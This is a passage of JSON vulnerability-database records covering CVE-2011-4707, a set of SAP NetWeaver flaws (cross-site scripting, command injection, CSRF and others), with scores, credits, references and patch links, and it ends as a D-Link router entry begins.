[], "cpe_match": [ { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:sap:netweaver:*:*:*:*:*:*:*:*", "cpe_name": [] } ] } ] } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "data": { "@container": "@list" }, "nodes": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "children": { "@container": "@list" } } }, "credits": { "sources": [ { "db": "BID", "id": "50680" } ], "data": "Dmitriy Chastuchin, Dmitriy Evdokimov, Alexandr Polyakov and Alexey Tyurin of Digital Security Research Group (DSecRG)", "trust": 0.3, "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "IVD", "id": "3b9467ec-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3d199b1e-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3e98d306-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3a022216-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "40204c22-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4119fc7c-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4247bd6e-1f7f-11e6-abef-000c29c66e3d" }, { "db": "VULMON", "id": "CVE-2011-4707" }, { "db": "JVNDB", "id": "JVNDB-2011-003325" }, { "db": "CNNVD", "id": "CNNVD-201112-122" }, { "db": "NVD", "id": "CVE-2011-4707" } ], "data": [ { "severity": [ { "value": "MEDIUM", "author": "NVD", "id": "CVE-2011-4707", "trust": 1.8 }, { "id": "CNNVD-201112-122", "value": "MEDIUM", "author": "CNNVD", "trust": 0.6 }, { "id": "3b9467ec-1f7f-11e6-abef-000c29c66e3d", "value": "MEDIUM", "author": "IVD", "trust": 0.2 }, { "id": "3d199b1e-1f7f-11e6-abef-000c29c66e3d", "value": "MEDIUM", "author": "IVD", "trust": 0.2 }, { "id": "3e98d306-1f7f-11e6-abef-000c29c66e3d", "value": "MEDIUM", "author": "IVD", "trust": 0.2 }, { "id": "3a022216-1f7f-11e6-abef-000c29c66e3d", "value": "MEDIUM", "author": "IVD", "trust": 0.2 }, { "id": "40204c22-1f7f-11e6-abef-000c29c66e3d", "value": "MEDIUM", "author": "IVD", "trust": 0.2 }, { "id": "4119fc7c-1f7f-11e6-abef-000c29c66e3d", "value": "MEDIUM", "author": "IVD", "trust": 0.2 }, { "id": "4247bd6e-1f7f-11e6-abef-000c29c66e3d", "value": "MEDIUM", "author": "IVD", "trust": 0.2 }, { "id": "CVE-2011-4707", "value": "MEDIUM", "author": "VULMON", "trust": 0.1 } ], "cvssV2": [ { "exploitabilityScore": 8.6, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true, "version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 4.3, "author": "NVD", "severity": "MEDIUM", "trust": 1.0 }, { "id": "CVE-2011-4707", "author": "NVD", "version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "accessVector": "Network", "accessComplexity": "Medium", "authentication": "None", "confidentialityImpact": "None", "integrityImpact": "Partial", "availabilityImpact": "None", "baseScore": 4.3, "severity": "Medium", "exploitabilityScore": null, "impactScore": null, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 0.9 }, { "version": "2.9 [IVD]", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 4.3, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 2.9, "id": "3b9467ec-1f7f-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 }, { "version": "2.9 [IVD]", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 4.3, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 2.9, "id": "3d199b1e-1f7f-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 }, { "version": "2.9 [IVD]", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 4.3, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 2.9, "id": "3e98d306-1f7f-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 }, { "version": "2.9 [IVD]", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 4.3, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 2.9, "id": "3a022216-1f7f-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 }, { "version": "2.9 [IVD]", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 4.3, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 2.9, "id": "40204c22-1f7f-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 }, { "version": "2.9 [IVD]", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 4.3, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 2.9, "id": "4119fc7c-1f7f-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 }, { "version": "2.9 [IVD]", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 4.3, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 2.9, "id": "4247bd6e-1f7f-11e6-abef-000c29c66e3d", "author": "IVD", "trust": 0.2 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2011-4707" }, { "db": "JVNDB", "id": "JVNDB-2011-003325" }, { "db": "CNVD", "id": "CNVD-2011-4917" }, { "db": "CNVD", "id": "CNVD-2011-4911" }, { "db": "CNVD", "id": "CNVD-2011-4913" }, { "db": "CNVD", "id": "CNVD-2011-4914" }, { "db": "CNVD", "id": "CNVD-2011-4912" }, { "db": "CNVD", "id": "CNVD-2011-4915" }, { "db": "CNVD", "id": "CNVD-2011-4916" }, { "db": "BID", "id": "50680" }, { "db": "IVD", "id": "3d199b1e-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4247bd6e-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4119fc7c-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "40204c22-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3a022216-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3e98d306-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3b9467ec-1f7f-11e6-abef-000c29c66e3d" }, { "db": "VULMON", "id": "CVE-2011-4707" } ], "data": "Multiple cross-site scripting (XSS) vulnerabilities in the Virus Scan Interface in SAP Netweaver allow remote attackers to inject arbitrary web script or HTML via the (1) instname parameter to the VsiTestScan servlet and (2) name parameter to the VsiTestServlet servlet. The CTC service has an error when performing some verification checks and can be utilized to access user management and OS command execution functions. Inputs passed to the BAPI Explorer through partial transactions are missing prior to use and can be exploited to inject arbitrary HTML and script code that can be executed on the target user's browser when viewed maliciously. When using transaction \\\"sa38\\\", RSTXSCRP reports an error and can be exploited to inject any UNC path through the \\\"File Name\\\" field. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. TH_GREP reports an error when processing a partial SOAP request, and can inject any SHELL command with the \\\"\\\" parameter. The SPML service allows users to perform cross-site request forgery attacks, and can log in to the user administrator context to perform arbitrary operations, such as creating arbitrary users. SAP Netweaver is prone to multiple cross-site scripting vulnerabilities, a path traversal vulnerability, an html-injection vulnerability, a cross-site request-forgery vulnerability, and an authentication-bypass vulnerability. \nAn attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, execute arbitrary commands in the context of the application, disclose sensitive information, perform certain administrative actions, gain unauthorized access, or bypass certain security restrictions", "trust": 7.02, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "IVD", "id": "3b9467ec-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3d199b1e-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3e98d306-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3a022216-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "40204c22-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4119fc7c-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4247bd6e-1f7f-11e6-abef-000c29c66e3d" }, { "db": "CNVD", "id": "CNVD-2011-4916" }, { "db": "CNVD", "id": "CNVD-2011-4917" }, { "db": "CNVD", "id": "CNVD-2011-4915" }, { "db": "CNVD", "id": "CNVD-2011-4912" }, { "db": "CNVD", "id": "CNVD-2011-4914" }, { "db": "CNVD", "id": "CNVD-2011-4913" }, { "db": "CNVD", "id": "CNVD-2011-4911" }, { "db": "VULMON", "id": "CVE-2011-4707" }, { "db": "BID", "id": "50680" }, { "db": "JVNDB", "id": "JVNDB-2011-003325" }, { "db": "CNNVD", "id": "CNNVD-201112-122" }, { "db": "NVD", "id": "CVE-2011-4707" } ], "data": [ { "db": "BID", "id": "50680", "trust": 4.6 }, { "db": "NVD", "id": "CVE-2011-4707", "trust": 4.2 }, { "db": "CNNVD", "id": "CNNVD-201112-122", "trust": 2.0 }, { "db": "CNVD", "id": "CNVD-2011-4916", "trust": 0.8 }, { "db": "CNVD", "id": "CNVD-2011-4915", "trust": 0.8 }, { "db": "CNVD", "id": "CNVD-2011-4914", "trust": 0.8 }, { "db": "CNVD", "id": "CNVD-2011-4917", "trust": 0.8 }, { "db": "CNVD", "id": "CNVD-2011-4913", "trust": 0.8 }, { "db": "CNVD", "id": "CNVD-2011-4912", "trust": 0.8 }, { "db": "CNVD", "id": "CNVD-2011-4911", "trust": 0.8 }, { "db": "JVNDB", "id": "JVNDB-2011-003325", "trust": 0.8 }, { "db": "BUGTRAQ", "id": "20111117 [DSECRG-11-036] SAP NETWAVER VIRUS SCAN INTERFACE - MULTIPLE XSS", "trust": 0.6 }, { "db": "IVD", "id": "3B9467EC-1F7F-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "IVD", "id": "3D199B1E-1F7F-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "IVD", "id": "3E98D306-1F7F-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "IVD", "id": "3A022216-1F7F-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "IVD", "id": "40204C22-1F7F-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "IVD", "id": "4119FC7C-1F7F-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "IVD", "id": "4247BD6E-1F7F-11E6-ABEF-000C29C66E3D", "trust": 0.2 }, { "db": "VULMON", "id": "CVE-2011-4707", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "IVD", "id": "3b9467ec-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3d199b1e-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3e98d306-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3a022216-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "40204c22-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4119fc7c-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4247bd6e-1f7f-11e6-abef-000c29c66e3d" }, { "db": "CNVD", "id": "CNVD-2011-4916" }, { "db": "CNVD", "id": "CNVD-2011-4917" }, { "db": "CNVD", "id": "CNVD-2011-4915" }, { "db": "CNVD", "id": "CNVD-2011-4912" }, { "db": "CNVD", "id": "CNVD-2011-4914" }, { "db": "CNVD", "id": "CNVD-2011-4913" }, { "db": "CNVD", "id": "CNVD-2011-4911" } ], "data": true, "trust": 6.093194613333333, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot_taxonomy": { "sources": [ { "db": "IVD", "id": "3b9467ec-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3d199b1e-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3e98d306-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3a022216-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "40204c22-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4119fc7c-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4247bd6e-1f7f-11e6-abef-000c29c66e3d" }, { "db": "CNVD", "id": "CNVD-2011-4916" }, { "db": "CNVD", "id": "CNVD-2011-4917" }, { "db": "CNVD", "id": "CNVD-2011-4915" }, { "db": "CNVD", "id": "CNVD-2011-4912" }, { "db": "CNVD", "id": "CNVD-2011-4914" }, { "db": "CNVD", "id": "CNVD-2011-4913" }, { "db": "CNVD", "id": "CNVD-2011-4911" } ], "data": [ { "category": [ "ICS" ], "sub_category": null, "trust": 5.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "CNVD", "id": "CNVD-2011-4916" }, { "db": "CNVD", "id": "CNVD-2011-4917" }, { "db": "CNVD", "id": "CNVD-2011-4915" }, { "db": "CNVD", "id": "CNVD-2011-4912" }, { "db": "CNVD", "id": "CNVD-2011-4914" }, { "db": "CNVD", "id": "CNVD-2011-4913" }, { "db": "CNVD", "id": "CNVD-2011-4911" }, { "db": "JVNDB", "id": "JVNDB-2011-003325" } ], "data": [ { "title": "Acknowledgments to Security Researchers - 1546307", "url": "http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d10-eea7-ceb666083a6a", "trust": 0.8 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/5913", "title": "Patch for SAP NetWeaver Cross-Site Request Forgery Vulnerability", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/5922", "title": "Patch for SAP NetWeaver Feature Access Vulnerability", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/5912", "title": "Patch for SAP NetWeaver Command Injection Vulnerability", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/5909", "title": "Patch for SAP NetWeaver Cross-Site Scripting Vulnerability", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/5911", "title": "Patch for SAP NetWeaver Path Injection Vulnerability", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/5910", "title": "Patch for SAP NetWeaver 'page' parameter cross-site scripting vulnerability", "trust": 0.6 }, { "url": "https://www.cnvd.org.cn/patchinfo/show/5908", "title": "SAP Netweaver Script Injection Vulnerability Patch", "trust": 0.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "IVD", "id": "3b9467ec-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3d199b1e-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3e98d306-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3a022216-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "40204c22-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4119fc7c-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4247bd6e-1f7f-11e6-abef-000c29c66e3d" }, { "db": "CNVD", "id": "CNVD-2011-4916" }, { "db": "CNVD", "id": "CNVD-2011-4917" }, { "db": "CNVD", "id": "CNVD-2011-4915" }, { "db": "CNVD", "id": "CNVD-2011-4912" }, { "db": "CNVD", "id": "CNVD-2011-4914" }, { "db": "CNVD", "id": "CNVD-2011-4913" }, { "db": "CNVD", "id": "CNVD-2011-4911" }, { "db": "VULMON", "id": "CVE-2011-4707" }, { "db": "BID", "id": "50680" }, { "db": "JVNDB", "id": "JVNDB-2011-003325" }, { "db": "CNNVD", "id": "CNNVD-201112-122" }, { "db": "NVD", "id": "CVE-2011-4707" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2011-003325" }, { "db": "NVD", "id": "CVE-2011-4707" } ], "data": [ { "trust": 1.8, "problemtype": "CWE-79" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "CNVD", "id": "CNVD-2011-4916" }, { "db": "CNVD", "id": "CNVD-2011-4917" }, { "db": "CNVD", "id": "CNVD-2011-4915" }, { "db": "CNVD", "id": "CNVD-2011-4912" }, { "db": "CNVD", "id": "CNVD-2011-4914" }, { "db": "CNVD", "id": "CNVD-2011-4913" }, { "db": "CNVD", "id": "CNVD-2011-4911" }, { "db": "VULMON", "id": "CVE-2011-4707" }, { "db": "BID", "id": "50680" }, { "db": "JVNDB", "id": "JVNDB-2011-003325" }, { "db": "CNNVD", "id": "CNNVD-201112-122" }, { "db": "NVD", "id": "CVE-2011-4707" } ], "data": [ { "url": "http://dsecrg.com/pages/vul/show.php?id=336", "trust": 2.0 }, { "url": "https://service.sap.com/sap/support/notes/1546307", "trust": 1.7 }, { "url": "http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d10-eea7-ceb666083a6a", "trust": 1.7 }, { "url": "http://www.securityfocus.com/archive/1/520554/100/0/threaded", "trust": 1.1 }, { "url": "https://erpscan.io/advisories/dsecrg-11-036-sap-netwaver-virus-scan-interface-multiple-xss/", "trust": 1.1 }, { "url": "http://dsecrg.com/pages/vul/show.php?id=341", "trust": 0.9 }, { "url": "http://dsecrg.com/pages/vul/show.php?id=335", "trust": 0.9 }, { "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2011-4707", "trust": 0.8 }, { "url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2011-4707", "trust": 0.8 }, { "url": "http://dsecrg.com/pages/vul/show.php?id=340http", "trust": 0.6 }, { "url": "http://dsecrg.com/pages/vul/show.php?id=339http", "trust": 0.6 }, { "url": "http://dsecrg.com/pages/vul/show.php?id=336http", "trust": 0.6 }, { "url": "http://dsecrg.com/pages/vul/show.php?id=338http", "trust": 0.6 }, { "url": "http://dsecrg.com/pages/vul/show.php?id=337http", "trust": 0.6 }, { "url": "http://www.securityfocus.com/archive/1/archive/1/520554/100/0/threaded", "trust": 0.6 }, { "url": "http://erpscan.com/advisories/dsecrg-11-036-sap-netwaver-virus-scan-interface-multiple-xss/", "trust": 0.6 }, { "url": "http://dsecrg.com/pages/vul/show.php?id=337", "trust": 0.3 }, { "url": "http://dsecrg.com/pages/vul/show.php?id=339", "trust": 0.3 }, { "url": "http://dsecrg.com/pages/vul/show.php?id=340", "trust": 0.3 }, { "url": "http://dsecrg.com/pages/vul/show.php?id=338", "trust": 0.3 }, { "url": "http://www.sap.com/platform/netweaver/index.epx", "trust": 0.3 }, { "url": "https://cwe.mitre.org/data/definitions/79.html", "trust": 0.1 }, { "url": "https://nvd.nist.gov", "trust": 0.1 }, { "url": "https://www.securityfocus.com/bid/50680", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "CNVD", "id": "CNVD-2011-4916", "date": "2011-11-16T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-4917", "date": "2011-11-16T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-4915", "date": "2011-11-16T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-4912", "date": "2011-11-16T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-4914", "date": "2011-11-16T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-4913", "date": "2011-11-16T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-4911", "date": "2011-11-16T00:00:00" }, { "db": "VULMON", "id": "CVE-2011-4707", "date": "2018-12-10T00:00:00" }, { "db": "BID", "id": "50680", "date": "2013-02-14T12:21:00" }, { "db": "JVNDB", "id": "JVNDB-2011-003325", "date": "2011-12-13T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201112-122", "date": "2011-12-09T00:00:00" }, { "db": "NVD", "id": "CVE-2011-4707", "date": "2018-12-10T19:29:00.420000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "IVD", "id": "3b9467ec-1f7f-11e6-abef-000c29c66e3d", "date": "2011-11-16T00:00:00" }, { "db": "IVD", "id": "3d199b1e-1f7f-11e6-abef-000c29c66e3d", "date": "2011-11-16T00:00:00" }, { "db": "IVD", "id": "3e98d306-1f7f-11e6-abef-000c29c66e3d", "date": "2011-11-16T00:00:00" }, { "db": "IVD", "id": "3a022216-1f7f-11e6-abef-000c29c66e3d", "date": "2011-11-16T00:00:00" }, { "db": "IVD", "id": "40204c22-1f7f-11e6-abef-000c29c66e3d", "date": "2011-11-16T00:00:00" }, { "db": "IVD", "id": "4119fc7c-1f7f-11e6-abef-000c29c66e3d", "date": "2011-11-16T00:00:00" }, { "db": "IVD", "id": "4247bd6e-1f7f-11e6-abef-000c29c66e3d", "date": "2011-11-16T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-4916", "date": "2011-11-16T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-4917", "date": "2011-11-16T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-4915", "date": "2011-11-16T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-4912", "date": "2011-11-16T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-4914", "date": "2011-11-16T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-4913", "date": "2011-11-16T00:00:00" }, { "db": "CNVD", "id": "CNVD-2011-4911", "date": "2011-11-16T00:00:00" }, { "db": "VULMON", "id": "CVE-2011-4707", "date": "2011-12-08T00:00:00" }, { "db": "BID", "id": "50680", "date": "2011-11-15T00:00:00" }, { "db": "JVNDB", "id": "JVNDB-2011-003325", "date": "2011-12-13T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201112-122", "date": "2011-12-09T00:00:00" }, { "db": "NVD", "id": "CVE-2011-4707", "date": "2011-12-08T19:55:03.720000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "threat_type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-201112-122" } ], "data": "remote", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "title": { "sources": [ { "db": "IVD", "id": "3b9467ec-1f7f-11e6-abef-000c29c66e3d" }, { "db": "CNVD", "id": "CNVD-2011-4916" } ], "data": "SAP NetWeaver Cross-Site Request Forgery Vulnerability", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "type": { "sources": [ { "db": "IVD", "id": "3b9467ec-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3d199b1e-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3e98d306-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3a022216-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "40204c22-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4119fc7c-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4247bd6e-1f7f-11e6-abef-000c29c66e3d" } ], "data": "Cross-site scripting", "trust": 1.4, "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2011-4707", "last_update_date": "2024-07-23T22:41:20.004000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-201112-0297", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-201507-0645](https://vulnerability.circl.lu/vuln/var-201507-0645) ```json { "id": "VAR-201507-0645", "affected_products": { "sources": [ { "db": "CNVD", "id": "CNVD-2015-05077" }, { "db": "CNVD", "id": "CNVD-2015-05076" } ], "data": [ { "vendor": "dlink", "model": "ethernet broadband router", "version": null, "scope": null, "trust": 1.2 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "credits": { "sources": [ { "db": "PACKETSTORM", "id": "134368" }, { "db": "CNNVD", "id": "CNNVD-201508-010" }, { "db": "CNNVD", "id": "CNNVD-201508-011" } ], "data": "Samuel Huntley", "trust": 1.3, "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "CNVD", "id": "CNVD-2015-05077" }, { "db": "CNVD", "id": "CNVD-2015-05076" } ], "data": [ { "severity": [ { "value": "HIGH", "author": "CNVD", "id": "CNVD-2015-05077", "trust": 0.6 }, 